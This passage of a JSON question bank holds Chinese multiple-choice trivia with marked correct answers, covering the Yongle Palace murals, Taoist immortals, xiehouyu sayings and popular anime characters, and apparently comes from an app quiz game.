04:42:39","status":"1"},{"questionId":"1901441728","questionIndex":"2","questionStem":"永乐宫《朝元图》中金星拿的法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPE17J2f_lTd2mfBa\",\"optionDesc\":\"古筝\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPeCxa_OG4SIStsgq\",\"optionDesc\":\"笛子\"}]","questionToken":"Ks0Sx0BXjjmtKuU2Y-MOalC-7GtgSncco1F9lf5LKjGGIPFsktd-TDN-n7lGqwfzPdvSBOSumxdIEQRvLDFmyGeorkV8Lg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441729","questionIndex":"5","questionStem":"《朝元图》中雷公、电母、雨师属于?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPQVRdoUCfmL8zC45\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPGFE3vgKdmuK1VkU\",\"optionDesc\":\"十二元神\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}]","questionToken":"Ks0Sx0BXjjmtK-UxY-MOagRLM1GI0gYBsaDCzAz1Rp-x5i-qaIpS1hDhRu4TbkomzkXjYhLDSlpvKo9pxWpeif1-UwQaAQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"1901441730","questionIndex":"2","questionStem":"道教神话中,生下玉皇大帝的女神是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPG0JlKW5TVDz9dx9\",\"optionDesc\":\"后土娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPfsb5PhUko0tsa0g\",\"optionDesc\":\"王母娘娘\"}]","questionToken":"Ks0Sx0BXjjmsIuU2Y-MOakb1IFoLsbfvPh7BoPA_3-2e9zBw0EFd7Eg9GPPIEDcnW16I71rEPcVO68eHT0w3qzeDm1DPnA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"1901441731","questionIndex":"3","questionStem":"《朝元图》中十二元神的职责是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPUDS5F1wBZIT\",\"optionDesc\":\"轮值守护不同山川\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPGqSqcnN45AO\",\"optionDesc\":\"轮值守护不同方位\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}]","questionToken":"Ks0Sx0BXjjmsI-U3Y-MObRrm5m8DN-2e1D9kcrrFJYuQzb1g0h7SLu0CcP4l9q7_HFopl3-LPRv-VTcuZOvmqsLrzORXJA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}","create_time":"27/1/2021 04:39:43","update_time":"27/1/2021 04:39:43","status":"1"},{"questionId":"1901441732","questionIndex":"3","questionStem":"西游记中谁当过妖怪又作为神仙帮助过孙悟空","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPef7AQvMgFIbIqjJhw\",\"optionDesc\":\"昴日鸡\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPH4BdtRL-P0qwhc-Bw\",\"optionDesc\":\"角木蛟\"}]","questionToken":"Ks0Sx0BXjjmsIOU3Y-MOaoW-H20kBnczkoYV5WCx1l4OE986N266d5jUuUDM2fZyCDF-H9VnhqGbEMBhBPC0mPfNNdjLXA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 04:00:29","status":"1"},{"questionId":"1901441733","questionIndex":"1","questionStem":"“五岳四渎”以下哪条河不是“四渎”之一?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPflZpFLxbFWX4XLNXg\",\"optionDesc\":\"淮河\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPHOjUbuBv2cOc9IKxw\",\"optionDesc\":\"济水\"}]","questionToken":"Ks0Sx0BXjjmsIeU1Y-MOasiZKc0ohbU1yeQzXAVJ9-v0PncqOJbk2xE7Eg1JZvWdNDUdx7Yi7W5Hd7HE7vKUPoFJvkzDfQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"}","create_time":"27/1/2021 04:44:57","update_time":"27/1/2021 04:44:57","status":"1"},{"questionId":"1901441734","questionIndex":"1","questionStem":"《朝元图》为何会将孔子纳入道教神仙体系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPSnD77As3LgMvck\",\"optionDesc\":\"孔子当过道士\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPBwBOYmiHhEBXZw\",\"optionDesc\":\"孔子是老子的徒弟\"}]","questionToken":"Ks0Sx0BXjjmsJuU1Y-MObWoJjZ_XBm2I_sCwfDnHnUxS7KApkmhttNbKuY-nBKZpXimFKGd7yHvY7dROaQhR4d9mykrHqg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"}","create_time":"27/1/2021 04:41:03","update_time":"27/1/2021 04:41:03","status":"1"},{"questionId":"1901441735","questionIndex":"5","questionStem":"《朝元图》中男性帝王神仙戴的冠冕被称作?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPAIwBVS7yGswoMjw\",\"optionDesc\":\"展脚幞头\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPUNCJPxcDyTj4er5\",\"optionDesc\":\"皇冠\"}]","questionToken":"Ks0Sx0BXjjmsJ-UxY-MOaqzMueR3sibIJhlw_fOxHm5r6Ky19L4pjBqKIUbX1bcENVK-uAIRNvyHxEDVjlAQcx2O8pEJ6w","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"1901441736","questionIndex":"5","questionStem":"以下哪种服饰或冠帽不属于宋元时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPPDNuHzCv4iGXCs3ww\",\"optionDesc\":\"直裰\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPZeJM8F91EWKpI4kiQ\",\"optionDesc\":\"东坡巾\"}]","questionToken":"Ks0Sx0BXjjmsJOUxY-MOap8aS4uve0NZWas_0BhOfTwNtsFcdai10JIB2nn0A6dqScvjHxFk8HyX2MLP_D_kD80BP5ItBw","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"}","create_time":"27/1/2021 04:50:48","update_time":"27/1/2021 04:50:48","status":"1"},{"questionId":"1901441737","questionIndex":"5","questionStem":"以下哪种花卉水果不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPdFV3DHlpeuztVjjnA\",\"optionDesc\":\"莲花\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPL9CC5ifUe64FMk7ew\",\"optionDesc\":\"蟠桃\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}]","questionToken":"Ks0Sx0BXjjmsJeUxY-MOaqp3djZR5ywN0fD0ZXHiFg94s9GxXaVAyf44VKWhGlqIqb9pBQBYmAveotz3GUZs17wtMGBYOA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}","create_time":"27/1/2021 04:51:55","update_time":"27/1/2021 04:51:55","status":"1"},{"questionId":"1901441738","questionIndex":"2","questionStem":"吕洞宾故事的壁画位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPN8Scs0Uf_7Hu0oxfw\",\"optionDesc\":\"重阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPSBC2t6UvbTCiVoQNw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjmsKuU2Y-MObSSwN_TqxreMMI-NrPXVKttXkiSGkZH2Em0pBa_aPqXQU9MVmtsYDCblOUtOpkiWCc7GurUK-g","correct":"{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"1901441739","questionIndex":"2","questionStem":"吕洞宾最擅长的武器/法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPOgd8stKxZZ-tGARoA\",\"optionDesc\":\"葫芦\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPV8wGcC6O7oIRttLIg\",\"optionDesc\":\"莲花\"}]","questionToken":"Ks0Sx0BXjjmsK-U2Y-MOasOoxsmtQ5T1qOvikwGuGmBQrkhmfWibzoM3P-Y4M_UseW_o2c8G31Qetq-0K--DKOf0jXroAg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"1901441740","questionIndex":"3","questionStem":"吕洞宾的道号是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPE91ye3XeSGfA_Y\",\"optionDesc\":\"重阳子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPZFVeuTn9xUgToM\",\"optionDesc\":\"抱朴子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}]","questionToken":"Ks0Sx0BXjjmrIuU3Y-MObTAlrUqJOOPry7L0O7dQKy3HBi086a5QNR_yPZPL-lpCjSqU2VspXrwQEsDKmZ3RmVYHiIkalQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441741","questionIndex":"2","questionStem":"吕洞宾修行及教义被哪个道教门派所继承?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPL4tQ7QJqjjaDeE\",\"optionDesc\":\"正一派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPQzVvgSay8EFD80\",\"optionDesc\":\"武当派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}]","questionToken":"Ks0Sx0BXjjmrI-U2Y-MOba1tNuw_XyACRSEJ0d-Tf4wTAvAHRtdUlkwvksfhU4rMOjJkNIcNtRoqlzLgj1Zz4tKRZj05OQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"1901441742","questionIndex":"1","questionStem":"歇后语“狗咬吕洞宾”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPYCOvtLZUSvdAsRMOg\",\"optionDesc\":\"有去无回\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPEkTyMzFE4ANghPhiQ\",\"optionDesc\":\"多管闲事\"}]","questionToken":"Ks0Sx0BXjjmrIOU1Y-MOamhSjXhCw_512CDiUOpxytFEEsm4Kupm_PR2PPxJSzSMdasVVzZ2ouccaJPWp37VbtexHNjS4g","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"}","create_time":"27/1/2021 04:48:56","update_time":"27/1/2021 04:48:56","status":"1"},{"questionId":"1901441743","questionIndex":"5","questionStem":"八仙中不包括以下哪位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPd2iZ0eMl71t2Oit_Q\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPAS4oMSGdHoiZkKeQw\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrIeUxY-MObYgu28Mm59i7U04AZpzEITMVv-V62uTojmAN98kcDOtqnNcqMLogLlwdRudUGLZmCm6VqjwI4Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441744","questionIndex":"4","questionStem":"歇后语“八仙过海”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPKz8UaBFfb7UJkLSLw\",\"optionDesc\":\"自身难保\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPR3Wtg9BasLOAhxYeQ\",\"optionDesc\":\"走为上计\"}]","questionToken":"Ks0Sx0BXjjmrJuUwY-MObaj--XRFvu-cOOO8mWQhbvvE1kVRQ8u0FhJbwudFl7z9q2QbnYoE39JR0N-ByeO9vsr9a4sQUg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"}","create_time":"27/1/2021 03:37:12","update_time":"27/1/2021 03:37:12","status":"1"},{"questionId":"1901441745","questionIndex":"1","questionStem":"八仙中唯一的一位女神仙是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPD7x50G0swmfJTAE\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPS3wh6Jx5CwL36y_\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrJ-U1Y-MOaneI5DnIjZ-m4Tus6bWzzmNNKL9vsOBZ4-qIzeoo9JpcitcnzONxmyYm_JS6FnIQIDmHd8nJ9w","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"1901441746","questionIndex":"3","questionStem":"永乐宫最早是为了纪念哪位道教名人所建的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPd_UVe74_Ce2PldO\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPC8UbsZrGeb1s-Xh\",\"optionDesc\":\"王重阳\"}]","questionToken":"Ks0Sx0BXjjmrJOU3Y-MOanrx6-LHocxCMROqpRGS_BhqP6fI5Soa7SsWBWGDqa-VMKKaVicyG0QvM73zRTFGwwIJH5qNOw","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"1901441747","questionIndex":"2","questionStem":"永乐宫的《八仙过海》壁画中缺少哪位八仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPFkKjis_GhR8jOPc\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPdJUV5Wml0QQNXOS\",\"optionDesc\":\"曹国舅\"}]","questionToken":"Ks0Sx0BXjjmrJeU2Y-MOagcMuni4ngqiZCM7GMhsnjb7v-KTO_EPX7FhCzUkHgOwc1gw2aeuSszx_hRdL3rvnrP5-w321A","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"1901441748","questionIndex":"2","questionStem":"歇后语“张果老骑驴看本”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPWJaZR7KTflNgZMogg\",\"optionDesc\":\"神魂颠倒\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPFJrQJ05GiAGSkEgHg\",\"optionDesc\":\"不识好人心\"}]","questionToken":"Ks0Sx0BXjjmrKuU2Y-MOampR_4H4XZ5XMHrAobGUJ1UaE2biqrbxMWHJstBr9CNJUWiMVCVDjZ37k_Q-eW7WFFcXJVOVlg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"}","create_time":"27/1/2021 04:41:25","update_time":"27/1/2021 04:41:25","status":"1"},{"questionId":"1901442070","questionIndex":"3","questionStem":"犬夜叉的妖刀叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JiFhJkhUJCSEUmU\",\"optionDesc\":\"银碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3J7MnFTHf7HIAV9s\",\"optionDesc\":\"金碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}]","questionToken":"Ks0Sx0BXjT6hZtUCoWOsdhf0aczpfOV2V7AST8tQl6YOmkG5lrbQq-B1zpHHJ4j0WjP-fJzpUX8prWxT4y89uZ9-IQgccw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901442071","questionIndex":"5","questionStem":"“真相只有一个”在哪部动漫最经典?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3Jr-V2Bo2efD9T1h3\",\"optionDesc\":\"左目侦探EYE\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3J5KHMoJb-OSNJ0WJ\",\"optionDesc\":\"侦探学院\"}]","questionToken":"Ks0Sx0BXjT6hZ9UEoWOsdoy6kf9CgC3WH0emfzZhbHrA2FH1Lua3Tc4C9uGkGxw7_XbcaB1K6AWs_qaWRQH_TP1OZZN_rA","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"}","create_time":"27/1/2021 04:48:44","update_time":"27/1/2021 04:48:44","status":"1"},{"questionId":"1901442072","questionIndex":"1","questionStem":"“代表月亮消灭你”出自哪部动漫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jz4PTA1iubLtqAw\",\"optionDesc\":\"会长是女仆\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jl085h60BKz7Uxw\",\"optionDesc\":\"天堂之吻\"}]","questionToken":"Ks0Sx0BXjT6hZNUAoWOsdoN3Dwq-He9ix5Fq27d1L_Kml3eKt9vce5S_hgtALsR-acyOJ4S_f3MH6tUp4k6UBBQ63iab3w","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"}","create_time":"27/1/2021 04:44:51","update_time":"27/1/2021 04:44:51","status":"1"},{"questionId":"1901442073","questionIndex":"2","questionStem":"《死神》的主角叫什么名字?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3Jy5dydRpsAqiXME\",\"optionDesc\":\"黑崎一心\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JjZAYo95eWcQycI\",\"optionDesc\":\"东石郎\"}]","questionToken":"Ks0Sx0BXjT6hZdUDoWOsdrxjLxsI21YYDf4-ldAx7Vl9QL7G9WPY7r-CIP6wS630A9-tMCuPdZV3xTfBJ485Xg6ix6hLng","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901442074","questionIndex":"4","questionStem":"火影忍者的男一号是谁?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JnRFSS-uMzlb-JXR\",\"optionDesc\":\"自来也\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3J0O7Yr5nztx_rRPj\",\"optionDesc\":\"卡卡西\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}]","questionToken":"Ks0Sx0BXjT6hYtUFoWOsdpz5hb7Y4a9vW5xAI0NtG0ji7CJTGTJGx2QouxjXax5_pqWhM85an7ka3SQ698NCBVJimc62pQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"1901442075","questionIndex":"5","questionStem":"航海王(海贼王)的男一号是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3J5Dhp2QlLH1byqvatQ\",\"optionDesc\":\"甚平\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JkTGiyD0wsziKmrXnA\",\"optionDesc\":\"琦玉\"}]","questionToken":"Ks0Sx0BXjT6hY9UEoWOscZIk9gyEQlSQAIBpTmjeBEivgI8biqj4q4ub-LUiGYvtWpKATxzoUpAocBPkQ9QCkUcJCFLiHw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"}","create_time":"27/1/2021 04:34:40","update_time":"27/1/2021 04:34:40","status":"1"},{"questionId":"1901442076","questionIndex":"2","questionStem":"宠物小精灵里,小智的第一只精灵是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3J_cKbh7OFQc6-Xk4\",\"optionDesc\":\"妙蛙种子\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3Jkp885fga4TDq-qo\",\"optionDesc\":\"小火龙\"}]","questionToken":"Ks0Sx0BXjT6hYNUDoWOscfqPacmXqijlqxhgyNH37FPOGVZAR0MLo2lRYLrgRqbdDzkB7C_XmOP33VC8ARYKVuGsiOLM2g","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442077","questionIndex":"1","questionStem":"灌篮高手中,谁是湘北女生眼中的王子?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JqNskQWKiChuYFmh\",\"optionDesc\":\"赤司\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JwUmIft0inKuk9_o\",\"optionDesc\":\"仙道\"}]","questionToken":"Ks0Sx0BXjT6hYdUAoWOscckPw3u6QkOIOi-Q-INLQVRfKaohhafYrZkTtxhi1n4a-nHQmNTw1RKD9w7CwsDSOVHiywz2xQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"1901442078","questionIndex":"5","questionStem":"蜡笔小新的妹妹叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3J-jFwuH2ghRcyebtSg\",\"optionDesc\":\"妮妮\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JhW61RKJ3at-VxSLQw\",\"optionDesc\":\"美伢\"}]","questionToken":"Ks0Sx0BXjT6hbtUEoWOsdrXaFm-oGDwEQFhbnH88bf07UXAXNpkSFavTxJh9sZIK_SjpQxMrVZhnGV2f0TlZGxBNd6nMlg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"1901442079","questionIndex":"4","questionStem":"樱桃小丸子中,丸尾怎么称呼她妈?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3Jgh0gmSJEYrhMMhbLw\",\"optionDesc\":\"老妈\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3J5LhCglEUHXzciCHMg\",\"optionDesc\":\"妈\"}]","questionToken":"Ks0Sx0BXjT6hb9UFoWOsdvvk6o899xKFbhjiGVoYXEU7KQ9wCtpOmFI5_DiDy03NAYqqZF5vyBG7Z97u-NZTBmOSyjtyMg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 